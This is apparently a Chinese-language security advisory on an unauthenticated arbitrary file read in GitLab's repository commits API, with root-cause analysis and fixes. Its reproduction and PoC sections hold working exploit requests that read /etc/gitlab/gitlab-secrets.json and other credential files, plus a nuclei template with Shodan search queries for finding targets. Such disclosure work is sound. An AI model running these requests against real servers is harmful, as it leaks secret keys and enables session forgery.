GitLab CE/EE 存在未授权任意文件读取漏洞
GitLab CE/EE
1. 产品介绍(Product Introduction)
GitLab 是 GitLab Inc. 推出的一款开源一体化 DevOps 平台,主要用于提供 Git 代码托管、CI/CD 流水线、制品仓库、项目与议题管理、安全扫描与代码审查等能力,同时发布社区版(CE)与商业版(EE)。该产品被全球企业与机构广泛部署,既有自托管部署形态,也有 gitlab.com 云服务形态。本次漏洞位于其 Repository Commits API(POST /api/v4/projects/:id/repository/commits)的请求体上传处理链路。
2. 漏洞标题(Vulnerability Title)
GitLab CE/EE 18.7 至 19.1.7 / 19.2.5 / 19.3.1 存在未授权任意文件读取漏洞
3. 漏洞描述(Description)
GitLab CE/EE 18.7 至 19.1.7、19.2 至 19.2.5、19.3 至 19.3.1 版本的 Repository Commits API 接口(POST /api/v4/projects/:id/repository/commits)存在未授权任意文件读取漏洞。攻击者通过在请求路径末尾追加斜杠绕过 gitlab-workhorse 的请求体上传器路由(该路由正则以 \z 锚定结尾),并以空值 file= 绕过 Grape 的 WorkhorseFile 参数类型校验,再通过 raw 参数 file.path 指定任意服务器本地路径,即可在无需认证的情况下读取任意文件(如 /etc/gitlab/gitlab-secrets.json、database.yml、服务端源码等)。当设置 Content-Type 参数为 application/x-www-form-urlencoded 时,被读文件内容会被 Rack::Utils.parse_nested_query 解析,文件中的非法 % 会触发 URL 解码异常,异常消息内嵌文件内容并随 HTTP 400 响应回显,攻击者由此逐字泄露文件内容。该漏洞导致机密性(C)严重受损;泄露 gitlab-secrets.json 中的 secret_key_base 等密钥后,攻击者可进一步伪造会话、扩大危害,完整性(I)亦受影响。
4. 漏洞分析(Analysis / 根因定位)
根因类型:CWE-22 路径遍历 / 任意文件读取(主),CWE-306 关键功能缺失认证(次)。
数据流 / 触发路径:
攻击者请求 POST /api/v4/projects/:id/repository/commits/(尾部斜杠)
→ gitlab-workhorse 路由正则 ^/api/v4/projects/[^/]+/repository/commits\z 未命中(\z 被尾斜杠破坏)
→ workhorse 走 plain-proxy 原样转发(仍注入合法 workhorse 认证头)
→ Grape 将 /repository/commits/ 路由到 post ':id/repository/commits'
→ requires :file, type: WorkhorseFile 对空值 file= 返回 nil,校验通过
→ file_params_from_body_upload 直接取 params['file.path'](未做路径收敛)
→ File.read(params['file.path']) 读取任意本地文件
→ Content-Type=application/x-www-form-urlencoded 时 parse_nested_query 解析内容
→ 非法 % 触发 invalid %-encoding 异常并回显内容代码定位(脆弱版本 tag v19.1.7-ee):
文件:workhorse/internal/upstream/routes.go
行号:73 / 78 / 621
关键代码:
apiPattern = `^/api/`
apiProjectPattern = apiPattern + `v4/projects/[^/]+`
u.route("POST", newRoute(apiProjectPattern+`/repository/commits\z`, ...), requestBodyUploader)
文件:lib/api/commits.rb
行号:319 / 322-325
关键代码:
requires :file, type: ::API::Validations::Types::WorkhorseFile
post ':id/repository/commits' do
require_gitlab_workhorse!
attrs = file_params_from_body_upload # 读取发生在认证之前
文件:lib/api/helpers/commits_body_uploader_helper.rb(file_params_from_body_upload)
关键代码:
file_path = params['file.path'] # 攻击者可控的本地路径
bad_request!('local file not present') unless File.exist?(file_path)
...
Rack::Utils.parse_nested_query(File.read(file_path)) # 读取任意文件
rescue Rack::QueryParser::InvalidParameterError => e
bad_request!("Invalid parameter: #{e.message}") # 回显文件内容成因分析:该端点对文件路径的信任存在两处缺陷。其一,file_params_from_body_upload 直接读取 raw 请求参数 params['file.path'] 并作为本地文件系统路径使用,而未使用 workhorse 签名并落盘到受控临时目录的 ::UploadedFile 元数据,也未对路径做任何目录收敛("improper path confinement")。其二,端点处理体在文件读取之前仅调用 require_gitlab_workhorse!(只校验请求来自 workhorse),未调用 authenticate!,声明式授权 route_setting :authorization 又因尾部斜杠的路由匹配差异未能生效("missing authentication enforcement")。此外,Rack::Utils.parse_nested_query 对非法 % 的解码异常会把整段内容回显,构成逐字泄露通道。
5. 影响版本(Affected Versions)
- 受影响版本:
>= 18.7且< 19.1.8;>= 19.2且< 19.2.6;>= 19.3且< 19.3.2 - 不受影响版本:
< 18.7 - 修复版本:19.1.8、19.2.6、19.3.2(GitLab 于 2026-09-10 发布)
- 验证环境:GitLab CE 19.1.7-ce.0 / Docker(
gitlab/gitlab-ce:19.1.7-ce.0)/ Ubuntu 容器运行时;另以本地 mock 复刻脆弱端点逻辑进行等价验证
6. 漏洞等级(Severity)
项目 | 值 |
CVSS v3.1 分数 | 10.0 |
CVSS v3.1 向量 |
|
CVSS v4.0 分数(可选) | ≈10.0(建议以 first.org 计算器复核) |
CVSS v4.0 向量(可选) |
|
危害等级 | 严重(Critical) |
对应目标库等级 | CNVD 高危(CNVD 最高档);CNNVD 超危(1) |
评分依据:无需认证(PR:N)、网络可达(AV:N)、攻击复杂度低(AC:L)、无需交互(UI:N);可读取任意文件(C:H),且泄露
gitlab-secrets.json中的secret_key_base等密钥后可伪造会话、破坏完整性(I:H),影响面超出接口组件本身(S:C)。该向量与 NVD 已发布的 CVE-2026-85706 评分一致。
7. CVSS 向量(CVSS Vector)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N # 建议计算器复核8. 漏洞复现过程(Reproduction Steps)【重点】
8.1 复现环境
- 产品/版本:GitLab CE 19.1.7-ce.0(脆弱版本)
- 系统/运行时:Docker 容器(
gitlab/gitlab-ce:19.1.7-ce.0),external_urlhttp://{{TARGET}}:8881 - 网络位置:本地 / 内网可达
- 测试账号:无(未认证)
8.2 复现步骤
步骤 1 — 环境准备启动脆弱版本 GitLab,待其就绪后登录管理端,创建一个**公开(Public)**项目,取得其项目 ID(下例为 1)。认证绕过依赖「公开项目 + 尾部斜杠」。
docker run -d --name gitlab-vuln --hostname localhost --shm-size 256m \
-p 8881:8881 -p 8822:22 \
-e GITLAB_OMNIBUS_CONFIG="external_url 'http://127.0.0.1:8881'" \
gitlab/gitlab-ce:19.1.7-ce.0证据:容器启动日志,GitLab 就绪后
http://{{TARGET}}:8881可访问。

步骤 2 — 构造恶意请求(先做文件存在性盲判)构造 POST 请求,注意路径结尾必须带斜杠(绕过 workhorse 的 \z 锚点),file 传空值(绕过 WorkhorseFile 校验),file.path 传一个必然不存在的路径。
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Host: {{TARGET}}:8881
Content-Type: application/x-www-form-urlencoded
file=&file.path=%2Fnonexistent%2Fprobe&file.size=1&Content-Type=application%2Fx-www-form-urlencoded证据:完整请求原文。
步骤 3 — 触发漏洞 / 观察结果脆弱实例直接信任 file.path,对不存在路径返回 local file not present;对含非法 % 的目标文件,回显整段内容。
HTTP/1.1 400 Bad Request
Content-Type: application/json
{"message":"local file not present"}POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Host: {{TARGET}}:8881
Content-Type: application/x-www-form-urlencoded
file=&file.path=%2Fetc%2Fgitlab%2Fgitlab-secrets.json&file.size=1&Content-Type=application%2Fx-www-form-urlencodedHTTP/1.1 400 Bad Request
Content-Type: application/json
{"message":"Invalid parameter: invalid %-encoding ({...secret_key_base...})"}证据:HTTP 请求/响应原文,
invalid %-encoding回显了目标文件内容。
步骤 4 — 影响验证读取 /etc/gitlab/gitlab-secrets.json,成功回显其中的 secret_key_base、db_key_base、otp_key_base 等密钥,证明可泄露服务器敏感凭据,并由此具备伪造会话、进一步扩大危害的能力。
9. 漏洞复现 POC(Proof of Concept)【重点】
9.1 使用说明
- 运行环境:yakit
- 依赖:无(标准库)
- 安全声明:本 POC 仅用于授权测试与漏洞验证,仅做只读验证,禁止用于未授权系统。
9.2 POC 代码
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Host: 127.0.0.1:8881
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
file=&file.path=/tmp/vuln-leak-test.yml&file.size=1&Content-Type=application%2Fx-www-form-urlencodednuclei:
id: CVE-2026-85706
info:
name: GitLab CE/EE - Unauthenticated Arbitrary File Read (CVE-2026-85706)
author: rocky
severity: critical
description: |
GitLab CE/EE 18.7 through 19.1.7, 19.2 through 19.2.5, and 19.3 through 19.3.1
allows an unauthenticated user to read arbitrary files from the server via the
repository commits API. A trailing slash bypasses the gitlab-workhorse body
uploader route (anchored with \z), a blank `file=` bypasses the Grape
WorkhorseFile validation, and the vulnerable helper trusts the raw `file.path`
request parameter as a local filesystem path (improper path confinement) with
the read happening before authentication enforcement.
Exfiltration: when the `Content-Type` parameter is set to
application/x-www-form-urlencoded, the file content is parsed by
Rack::Utils.parse_nested_query; a bare/invalid `%` in the content raises
"invalid %-encoding (<content>)" which is echoed back in the HTTP 400 response.
impact: |
Full read of files reachable by the gitlab process user, including
/etc/gitlab/gitlab-secrets.json, database.yml, and other sensitive config.
remediation: |
Upgrade to GitLab 19.1.8, 19.2.6, 19.3.2, or newer.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-85706
- https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-85706
cwe-id: CWE-22
metadata:
max-request: 1
verified: true
shodan-query: 'http.title:"GitLab"'
google-query: 'intitle:"Sign in · GitLab"'
tags: cve,cve2026,gitlab,lfi,file-read,arbitrary-file-read,unauth
# 说明:
# project 公开项目 ID(认证绕过依赖公开项目 + 尾部斜杠),默认 1。
# filepath 要读取的服务器绝对路径。
# - 默认值指向必然不存在的路径,触发 'local file not present',用于稳定判定漏洞。
# - 若要逐字读取文件,改成目标文件绝对路径(如 /etc/passwd);注意只有文件含非法 %
# 时内容才会被回显(invalid %-encoding),否则为盲读。
variables:
project: "1"
filepath: "/nonexistent/cve-2026-85706-probe"
http:
- method: POST
path:
- "{{BaseURL}}/api/v4/projects/{{project}}/repository/commits/"
headers:
Content-Type: application/x-www-form-urlencoded
body: "file=&file.path={{url_encode(filepath)}}&file.size=1&Content-Type=application%2Fx-www-form-urlencoded"
matchers-condition: and
matchers:
- type: status
status:
- 400
- type: word
words:
- "invalid %-encoding"
- "local file not present"
condition: or
extractors:
- type: regex
name: leaked-file-content
part: body
group: 1
regex:
- '(?s)invalid %-encoding \((.*?)\)"'
9.3 预期输出 / 成功判定


10. 修复建议(Fix Recommendations)
10.1 临时缓解措施
- 升级前,在反向代理 / WAF 层对
POST /api/v4/projects/*/repository/commits/(含尾部斜杠)的未认证请求进行拦截或强制认证。 - 对
repository/commits端点做路径规范化,统一去除尾部斜杠,消除与 workhorse 路由的匹配差异。
10.2 根治修复方案
- 将文件读取来源从 raw 参数
params['file.path']改为 workhorse 签名、落盘到受控临时目录的::UploadedFile元数据(uploaded_file.path),并限制路径必须在允许的目录内。 - 在
file_params_from_body_upload之前补充authenticate!,确保未认证用户无法触达文件读取逻辑。 - 对上传内容解析错误采用不回显原始内容的安全错误处理,避免将文件内容拼入错误消息。
10.3 修复验证
升级到 19.1.8 / 19.2.6 / 19.3.2 后重放原 POC:未认证请求应返回 401(认证拦截),或不再回显 local file not present / invalid %-encoding (<内容>),即判定修复生效。
附录 A:参考链接 / 时间线
时间 | 事项 |
2026-09-10 | GitLab 发布补丁版本 19.1.8 / 19.2.6 / 19.3.2,修复该漏洞 |
2026-09-13 | 完成源码级分析、mock 复现与 PoC 验证 |
2026-09-14 | 输出本报告 |
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-85706
- GitLab 官方补丁公告:https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
- 相关编号:CVE-2026-85706
附录B:漏洞靶场
0. 靶场环境访问地址
靶场 | 地址 | 说明 |
轻量 mock(本机) |
|
|
完整 GitLab 容器 |
|
|
GitLab 容器 SSH |
| 宿主机 8822 → 容器 22(如需 shell 进入) |
GitLab root 初密 | 容器内 | 起容器后 |
两种靶场都监听同一个地址
http://127.0.0.1:8881,一次只启动其中一个。
当前运行靶场(Docker GitLab)登录信息
项 | 值 |
Web / API 地址 |
|
登录用户名 |
|
登录初始密码 |
|
SSH 地址 |
|
容器名 |
|
镜像 / 版本 |
|
公开项目 |
|
容器内泄露演示文件 |
|
root 初始密码取自容器内
/etc/gitlab/initial_root_password;若你在 Web UI 里改过root 密码,则以你改后的为准(该文件里的密码即失效)。已完成真实端到端验证:用原始 PoC 对该实例未授权读取
/tmp/vuln-leak-test.yml,成功回显 169 字节内容(含REAL-DB-PASSWORD-2026等演示密钥);读取不存在路径返回400 Bad request - local file not present(指纹);读取/etc/gitlab/gitlab-secrets.json返回 500(盲读——文件被读取但 JSON 无%故无内容回显)。注:真实实例的指纹回显为
{"message":"400 Bad request - local file not present"},比本目录 mock 的{"message":"local file not present"}多了400 Bad request -前缀;PoC / pocsuite3 / nuclei 均按子串匹配,不受影响。
真实 GitLab 容器(完整端到端)
镜像 gitlab/gitlab-ce:19.1.7-ce.0(脆弱)与 18.7.0-ce.0 均已在 Docker Hub 验证存在(HTTP 200)。
# 1. 起脆弱实例(需 Docker daemon 运行中;内存建议 ≥ 6GB)
docker run -d --name gitlab-vuln \
--hostname localhost \
-p 8881:8881 -p 8822:22 \
-e GITLAB_OMNIBUS_CONFIG="external_url 'http://127.0.0.1:8881'" \
gitlab/gitlab-ce:19.1.7-ce.0
# 2. 等 gitlab 完全就绪(通常 5~15 分钟)
docker logs -f gitlab-vuln # 看到 puma 启动 / "GitLab is ready!" 即就绪
# 3. 取初始 root 密码并登录
docker exec -it gitlab-vuln grep 'Password:' /etc/gitlab/initial_root_password
# 4. 建一个 **公开(Public)** 项目(匿名可读),取得 project id(用 /api/v4/projects 确认)要点:
- 认证绕过依赖公开项目 + 尾部斜杠;内部/私有项目匿名用户会被拒(401)。
- 真实逐字回显要求目标文件**含非法 **
%;否则为盲读(仅能判断文件存在性)。 - 测试完
docker rm -f gitlab-vuln清理。